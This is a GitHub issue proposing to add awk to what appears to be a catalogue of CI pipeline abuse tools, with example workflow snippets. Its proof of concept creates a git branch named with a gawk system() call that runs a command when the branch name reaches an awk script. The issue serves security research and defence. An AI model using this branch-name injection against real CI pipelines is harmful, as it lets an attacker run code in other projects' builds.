Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[LOTP] Add awk #19

Open
fproulx-boostsecurity opened this issue Feb 23, 2024 · 0 comments
Open

[LOTP] Add awk #19

fproulx-boostsecurity opened this issue Feb 23, 2024 · 0 comments
Labels
good first issue Good for newcomers idea

Comments

@fproulx-boostsecurity
Copy link
Contributor

fproulx-boostsecurity commented Feb 23, 2024

Description of the LOTP tool

awk is a data-driven scripting language tool with many powerful features.

Ref GTFObin https://gtfobins.github.io/gtfobins/gawk/#shell

Configuration files

it might process some config file too..

POC

$ git switch -c 'system("id")' && export GITHUB_HEAD_REF="$(git branch --show-current)" && gawk "BEGIN {$GITHUB_HEAD_REF}"      a/a/g;1eid;
Switched to a new branch 'system("id")'
uid=501(john) gid=20(staff) ...

Documentation

https://www.gnu.org/software/gawk/manual/gawk.html#index-system_0028_0029-function

Real-world example

close enough ... can think of thing "realistic"

    - name: Generate env vars with git tags
      run: |
        [ "${GITHUB_EVENT_NAME}" == 'pull_request' ] && echo "TAG_NAME=$(echo $GITHUB_REF | awk -F / '{print $3}')-${GITHUB_HEAD_REF##*/}" >> $GITHUB_ENV || true

      - name: Append contrib to changelog
        run: |
          CHANGELOG_LINE=$(awk -v ver="[${{ env.VERSION_NUMBER }}]($GITHUB_SERVER_URL/$GITHUB_REPOSITORY/releases/tag/v${{ env.VERSION_NUMBER }})" '/^## / { if (p) { exit }; if ($2 == ver) { p=1; next} } p && NF' CHANGELOG.md | sed ':a;N;$!ba;s/\n---/ /g')
          echo "$CHANGELOG_LINE" >> CHANGELOG.txt
...
      - name: Generate benchmark comparison
        run: |
          ./integration-tests/scripts/baseline/main.py --test integration-tests/perf-all.json \
            | sort \
            | awk -f ./integration-tests/scripts/baseline/format.awk > benchmark.md
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
good first issue Good for newcomers idea
Projects
None yet
Development

No branches or pull requests

1 participant